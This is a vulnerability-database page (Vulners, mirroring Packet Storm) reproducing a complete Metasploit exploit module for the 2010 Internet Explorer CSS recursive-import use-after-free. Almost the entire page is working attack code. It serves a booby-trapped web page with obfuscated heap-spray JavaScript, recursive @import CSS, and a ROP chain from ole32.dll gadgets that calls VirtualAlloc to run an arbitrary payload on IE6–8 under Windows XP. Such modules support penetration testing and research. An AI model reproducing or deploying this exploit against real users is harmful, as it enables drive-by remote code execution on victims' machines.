Lucene search
K

Internet Explorer CSS Recursive Import Use After Free

🗓️ 21 Dec 2010 00:00:00Reported by jduckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Memory corruption vulnerability in Microsoft's HTML engine when parsing an HTML page with a recursive CSS import leading to code execution.

Code
`##  
# $Id: ms11_xxx_ie_css_import.rb 11383 2010-12-20 16:34:07Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking # Need more love for Great  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "7.0", # Should be 6  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => nil, # no way to test without just trying it  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',  
'Description' => %q{  
Thie module exploits a memory corruption vulnerability within Microsoft\'s  
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS  
import, a C++ object is deleted and later reused. This leads to arbitrary  
code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'WooYun', # Initial discovery / report  
'd0c_s4vage', # First working public exploit  
'jduck' # Metasploit module (ROP, @WTFuzz spray)  
],  
'Version' => '$Revision: 11383 $',  
'References' =>  
[  
#[ 'CVE', '2010-????' ],  
[ 'OSVDB', '69796' ],  
[ 'BID', '45246' ],  
#[ 'URL', 'http://www.microsoft.com/technet/security/advisory/XXXXXX.mspx' ],  
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],  
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ]  
#[ 'MSB', 'MS11-XXX' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
  
[ 'Internet Explorer 8',  
{  
'Ret' => 0x105ae020,  
'OnePtrOff' => 0x18,  
'DerefOff' => 0x30,  
'FlagOff' => 0x54,  
'CallDeref1' => 0x20,  
'SignedOff' => 0x1c,  
'CallDeref2' => 0x24,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
[ 'Internet Explorer 7',  
{  
'Ret' => 0x105ae020,  
'OnePtrOff' => 0x14,  
'DerefOff' => 0x5c,  
'FlagOff' => 0x34,  
'CallDeref1' => 0x1c,  
'SignedOff' => 0x18,  
'CallDeref2' => 0x20,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
# For now, treat the IE6 target the same as teh debug target.  
[ 'Internet Explorer 6',  
{  
'Ret' => 0xc0c0c0c0,  
'OnePtrOff' => 0x14,  
'DerefOff' => 0x5c,  
'FlagOff' => 0x34,  
'CallDeref1' => 0x1c,  
'SignedOff' => 0x18,  
'CallDeref2' => 0x20,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
[ 'Debug Target (Crash)',  
{  
'Ret' => 0xc0c0c0c0,  
'OnePtrOff' => 0,  
'DerefOff' => 4,  
'FlagOff' => 8,  
'CallDeref1' => 0xc,  
'SignedOff' => 0x10,  
'CallDeref2' => 0x14,  
'CallDeref3' => 0x18,  
'CallDeref4' => 0x1c,  
'Deref4Off' => 0x20  
}  
]  
],  
# Full-disclosure post was Dec 8th, original blog Nov 29th  
'DisclosureDate' => 'Nov 29 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ])  
], self.class)  
end  
  
  
def auto_target(cli, request)  
mytarget = nil  
  
agent = request.headers['User-Agent']  
print_status("Checking user agent: #{agent}")  
if agent =~ /MSIE 6\.0/  
mytarget = targets[3]  
elsif agent =~ /MSIE 7\.0/  
mytarget = targets[2]  
elsif agent =~ /MSIE 8\.0/  
mytarget = targets[1]  
else  
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")  
end  
mytarget  
end  
  
  
def on_request_uri(cli, request)  
  
print_status("Received request for %s" % request.uri.inspect)  
  
mytarget = target  
if target.name == 'Automatic'  
mytarget = auto_target(cli, request)  
if (not mytarget)  
send_not_found(cli)  
return  
end  
end  
  
buf_addr = mytarget.ret  
css_name = [buf_addr].pack('V') * (16 / 4)  
  
# We stick in a placeholder string to replace after UTF-16 encoding  
placeholder = "a" * (css_name.length / 2)  
uni_placeholder = Rex::Text.to_unicode(placeholder)  
  
if request.uri == get_resource() or request.uri =~ /\/$/  
print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")  
  
redir = get_resource()  
redir << '/' if redir[-1,1] != '/'  
redir << rand_text_alphanumeric(4+rand(4))  
redir << '.html'  
send_redirect(cli, redir)  
  
elsif request.uri =~ /\.html?$/  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")  
  
# Generate the ROP payload  
# We need a different set of RVAs without MS10-083. Can we detect this remotely?  
if datastore['OldOle32']  
rvas = rvas_pre()  
else  
rvas = rvas_post()  
end  
rop_stack = generate_rop(buf_addr, rvas)  
fix_esp = rva2addr(rvas, 'ret 0x38')  
ret = rva2addr(rvas, 'ret')  
pivot = rva2addr(rvas, 'xchg eax, esp / ret')  
  
# Append the payload to the rop_stack  
rop_stack << p.encoded  
  
# Build the deref-fest buffer  
len = 0x84 + rop_stack.length  
special_sauce = rand_text_alpha(len)  
  
# This ptr + off must contain 0x00000001  
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')  
  
# Pointer that is dereferenced to get the flag  
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')  
  
# Low byte must not have bit 1 set  
no_bit1 = rand(0xffffffff) & ~2  
special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V')  
  
# These are deref'd to figure out what to call  
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')  
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')  
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')  
# Finally, this one becomes eip  
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V')  
  
# This byte must be signed (shorter path to flow control)  
signed_byte = rand(0xff) | 0x80  
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')  
  
# These offsets become a fix_esp ret chain ..  
special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)  
special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c)  
special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now.  
  
# Add in the rest of the ROP stack  
special_sauce[0x84, rop_stack.length] = rop_stack  
  
# Format for javascript use  
special_sauce = Rex::Text.to_unescape(special_sauce)  
  
# Construct the javascript  
custom_js = <<-EOS  
function prepare() {  
heap = new heapLib.ie(0x20000);  
var heapspray = unescape("#{special_sauce}");  
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");  
var heapblock = heapspray;  
while(heapblock.length < 0x40000) heapblock += heapblock;  
finalspray = heapblock.substring(2, 0x40000 - 0x21);  
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }  
}  
  
function start() {  
prepare();  
var vlink = document.createElement("link");  
vlink.setAttribute("rel", "Stylesheet");  
vlink.setAttribute("type", "text/css");  
vlink.setAttribute("href", "#{placeholder}")  
document.getElementsByTagName("head")[0].appendChild(vlink);  
}  
EOS  
opts = {  
'Symbols' => {  
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },  
'Methods' => %w{ prepare }  
}  
}  
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)  
js = heaplib(custom_js)  
  
# Construct the final page  
html = <<-EOS  
<html>  
<head>  
<script language='javascript'>  
#{js}  
</script>  
</head>  
<body onload='start()'>  
</body>  
</html>  
EOS  
html = "\xff\xfe" + Rex::Text.to_unicode(html)  
html.gsub!(uni_placeholder, css_name)  
  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
else  
css = <<-EOS  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
EOS  
css = "\xff\xfe" + Rex::Text.to_unicode(css)  
css.gsub!(uni_placeholder, css_name)  
  
print_status("Sending #{self.refname} CSS to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")  
  
send_response(cli, css, { 'Content-Type' => 'text/css' })  
  
end  
  
# Handle the payload  
handler(cli)  
  
end  
  
def rvas_post()  
# ole32.dll version 5.1.2600.6010, post MS10-083  
# Just return this hash  
{  
'xchg eax, esp / ret' => 0x7b60e,  
'ret 0x38' => 0x607f1,  
'ret' => 0x7b60e+1,  
'push eax / ret' => 0x1d1e4,  
'pop eax / ret' => 0x58cab,  
'pop ebx / ret' => 0x1da39,  
'pop ecx / ret' => 0x50479,  
'mov eax, [eax] / ret' => 0x22a20,  
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9,  
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2,  
'add edi, [ebx] / ret' => 0x2cc26,  
'rep movsb / pop edi / pop esi / ret' => 0x372c6,  
'call [ebx]' => 0x2ad9  
}  
end  
  
def rvas_pre()  
# ole32.dll version 5.1.2600.5512, pre MS10-083  
# Just return this hash  
{  
'xchg eax, esp / ret' => 0x7b5e6,  
'ret 0x38' => 0x607c7,  
'ret' => 0x7b5e6+1,  
'push eax / ret' => 0x1d264,  
'pop eax / ret' => 0x1af34,  
'pop ebx / ret' => 0x1dae4,  
'pop ecx / ret' => 0x4f82a,  
'mov eax, [eax] / ret' => 0x22ef3,  
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589,  
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a,  
'add edi, [ebx] / ret' => 0x2d0f6,  
'rep movsb / pop edi / pop esi / ret' => 0x37796,  
'call [ebx]' => 0x2ad9  
}  
end  
  
def generate_rop(buf_addr, rvas)  
# ROP fun! (XP SP3 English, Dec 15 2010)  
rvas.merge!({  
# Instructions / Name => RVA  
'BaseAddress' => 0x774e0000,  
'imp_VirtualAlloc' => 0x1448,  
'Writable' => 0x12719c  
})  
  
rop_stack = [  
# Allocate an RWX memory segment  
'pop eax / ret',  
'imp_VirtualAlloc',  
  
'mov eax, [eax] / ret',  
'push eax / ret',  
'ret',  
0, # lpAddress  
0x1000, # dwSize  
0x3000, # flAllocationType  
0x40, # flProt  
  
# Copy the original payload  
'pop ecx / ret',  
'Writable',  
  
'mov [ecx], eax / xor eax, eax / pop esi / ret',  
:memcpy_src,  
  
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4',  
:unused,  
  
'pop ebx / ret',  
:unused,  
'Writable',  
  
'add edi, [ebx] / ret',  
  
'pop ecx / ret',  
0x200,  
  
'rep movsb / pop edi / pop esi / ret',  
:unused,  
:unused,  
  
# Execute the payload ;)  
'call [ebx]'  
]  
  
rop_stack.map! { |e|  
if e.kind_of? String  
# Meta-replace (RVA)  
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]  
rvas['BaseAddress'] + rvas[e]  
  
elsif e == :unused  
# Randomize  
rand_text(4).unpack('V').first  
  
elsif e == :memcpy_src  
# Based on stack length..  
buf_addr + 0x84 + (rop_stack.length * 4)  
  
else  
# Literal  
e  
end  
}  
  
rop_stack.pack('V*')  
end  
  
def rva2addr(rvas, key)  
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]  
rvas['BaseAddress'] + rvas[key]  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Dec 2010 00:00Current
7.4High risk
Vulners AI Score7.4
29